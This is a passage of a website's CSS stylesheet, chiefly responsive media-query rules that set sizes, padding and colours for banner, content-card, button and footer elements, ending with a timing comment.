  line-height: 24px;
}
.counter {
  font-size: 26px;

}
.nn {
  font-size: 16px;
  color: #333;
}
.abmore {
  width: 100%;
  line-height: 50px;
}
.abmore>a {
  color: #fff;
  font-size: 16px;

}
.ab_more {
  line-height: 100px;
  padding-left: 1.1rem;
}
.ab_more>a {
  color: #fff;
  font-size: 16px;
}
.ab_right span {
  width: 100px;
  height: 26px;
  font-size: 20px;
}
.ab_right p {
  font-size: 22px;
  line-height: 22px;
  margin-top: 10px;
}
.ind1rbg {
  height: 100px;
}
.ind3_txt>h5 {
  font-size: 26px;
}
.ind3 {
  background: #f9f9f9;
  padding: 1rem 1.1rem 1rem 1.1rem;
}
.ind3 .more {
  font-size: 16px;
    width: 130px;
    height: 35px;
    line-height: 35px;
    border-radius: 17px;
    margin-top: -5px;
}
.more>img {
  width: 14px;
  top: -2px;
}
.ind3_con {
  display: inherit;
}
.ind3txt {
  margin-right: 0;
  width: 100%;
  margin-bottom: 30px;
  moz-box-shadow: 1px 6px 9px #ccc;
    -webkit-box-shadow: 1px 6px 9px #ccc;
    box-shadow: 1px 6px 9px #ccc;
}
.ind3tit {
  height: auto;
  padding: 20px;
 
}
.ind3tit>p {
  font-size: 14px;
}
.ind3tit>h5 {
  color: #333;
  margin: 0;
  font-size: 20px;
  line-height: 24px;
  margin-top: 10px;
  margin-bottom: 15px;
}
.ind3tit>a {
  color: #333;
  margin: 0;
  font-size: 16px;
  line-height: 1;
  
}
.ind3tit>a>i {
  margin-left: 5px;
  font-size: 16px;
}
.ind3txt:first-child {
  width: 100%;
}
.ind3tita>p {
  color: #a6a6a6;
  font-size: 14px;
  padding-left: 0;
}

.ind3tita>h5 {

  margin-bottom: 0;
  padding-left: 0;
  color: #333;
  margin: 0;
  font-size: 20px;
  line-height: 24px;
  margin-top: 10px;
  margin-bottom: 15px;
}
.ind3tita>div {
  position: relative;
  width: 100%;
  height: auto;
  padding-left: 0;
  background: none;

}
.ind3tita>div>div {
  color: #333;
  line-height: 1;
  font-size: 16px;
}
.ind3tit>div{
  line-height: 1;
  font-size: 16px;

}
.ind3tita {
  width: 70%;
  height: 40%;
  padding: 20px;
}
.ind3tita>div>div>i {
  margin-left: 5px;
  font-size: 16px;
}
.ind2_con>h5 {
  font-size: 26px;
  color: #fff;
  line-height: 1;
  margin: 0;
  margin-bottom: 14px;
}
.ind2_con>p {
  font-size: 10px;
  color: #fff;
  line-height: 1;
  margin: 0;
}
.ind2_con>img {
  width: 30px;
}
.footer {
  padding: .6rem 1.1rem;
  box-sizing: border-box;
  display: inherit;
  justify-content: space-between;
}
.footer_right{
  display: none;
}
.footer_left>img {
  width: 320px;
  margin-bottom:0;
}
.footer_left>p {
  font-size: 16px;
}
.footer_left>p:last-child {
  width: auto;
}
.at{
  font-size: 16px;
  color: #888;
}
.at>span {
display: none;
}
.cay3con .ind3img img{height:auto;}
}
@media (max-width:768px){
  .banner {
    height: 18rem;
    margin-top: 0;
}
.ab_right {
  text-align: right;
  padding-right: 1.1rem;
  padding-top: 20px;
}
.ban_txt {
  top: 35%;
  left: 0;
  width: 100%;
  padding: 0 30px 0 20px;
}
.ban_txt>h5 {
  font-size: 28px;
  line-height: 30px;
}
.bleft {
  left: 20px;
}
.bleft>i{
  font-size: 16px;
    position: relative;
    top: 4px;
}
.bright>i{
  font-size: 16px;
    position: relative;
    top: 4px;
}
.bright {
  left: 65px;
}
.num {
  font-size: 28px !important;
}
.bn_txt>h3>span {
  color: #fff;
  font-size: 22px;
}
.ind1_left {
  padding: 35px 0 0 0;
}
.ind1_left>h5 {
  font-size: 26px;
  color: #222;
  line-height: 30px;
  padding-right: 0rem;
  width: 100%;
  padding: 0 20px;
  box-sizing: border-box;
}
.ind1_left>p {
  font-size: 16px;
  color: #888;
  line-height: 24px;
  width: 100%;
  padding: 0 20px;
  margin-top: 15px;
  margin-bottom: 35px;
}
.ind1_con {
  padding-right: 20px;
  display: flex;
  justify-content: space-between;
  padding-left: 20px;
}
.abmore {
  width: 100%;
  line-height: 50px;
  padding-left: 20px;
  margin-top: 35px;
}
.ab_more {
  line-height: 100px;
  padding-left: 20px;
}
.ab_right {
  text-align: right;
  padding-right: 20px;
  padding-top: 20px;
}
.ab_right p {
  font-size: 20px;
  line-height: 22px;
  margin-top: 10px;
}
.ab_right span {
  width: 100px;
  height: 24px;
  font-size: 18px;
}
.ind3 {
  background: #f9f9f9;
  padding: 40px 20px 20px;
}
.ind3_txt {
  padding-right:0;
}
.ind3_con {
  margin-top:30px;
}
.ind3tita {
  background: #fff;
  position: relative;
  width: 100%;
  height: auto;
  padding: 20px;
}
.ind2_txt {
  float: left;
  width: 100%;
  position: relative;
  height: 100%;
}
.ind2_txt {
  float: left;
  width: 100%;
  position: relative;
  height: auto;
  overflow: hidden;
}
.ind2 {
  width: 100%;
  height:auto;
}
.pimg{
  position: relative;
}
.ind2_con {
  position: absolute;
    height: 170px;
    padding: 30px 20px;
    box-sizing: border-box;
    z-index: 11;
    top: 10px;
    top: 32%;
}
.ind2_con>p {
  font-size: 16px;
  color: #fff;
  line-height: 1;
  margin: 0;
}
.heng {
  width: 100%;
  height: 2px;
  background: rgba(255, 255, 255, .1);
  position: relative;
  margin-top: 14px;
  margin-bottom: 14px;
}
.footer {
  padding: 20px;
    box-sizing: border-box;
    display: inherit;
    justify-content: space-between;
    background: #fff;
}
.footer2 {
  padding: 0 20px 25px;
  box-sizing: border-box;
  background: #fff;
  line-height: 1.5;
  display: inherit;
  justify-content: space-between;
  color: #888;
  font-size: 12px;
  font-family: p1;
}
.footer2_left>a {
  color: #888;
  font-size: 12px;
  margin-left: 0px;
}
.footer2_left>a>img {
  width: 12px;
  margin-right: 2px;
}
.ind1rimg>video{
  height: auto;
  width: 100%;
}
.footer2_right>a{
  color: #888;
  font-size: 12px;

}
.footerbot_right {
  width: 100%;
  padding-left: 0;
}
.fot_contact>img {
  height: 30px;
  width: 30px;
  margin-right: 10px;
}
.fot_contact {
  margin:0;
  display: flex;
}
.footer_bot {
  margin-top: 20px;
  padding-top: 20px;

}
.p2 {
  margin-top: 5px;
  font-size: 14px !important;
}
.p3{
  font-size: 18px !important;
}
.fr_r>p {
  font-size: 14px;
  margin-top: 8px;
}
.footerbot_er {
  margin-top: 20px;
  padding-right: 0;
}
.fr_r {
  width: 22%;
  text-align: center;
}
}<!--0.00031018257141113-->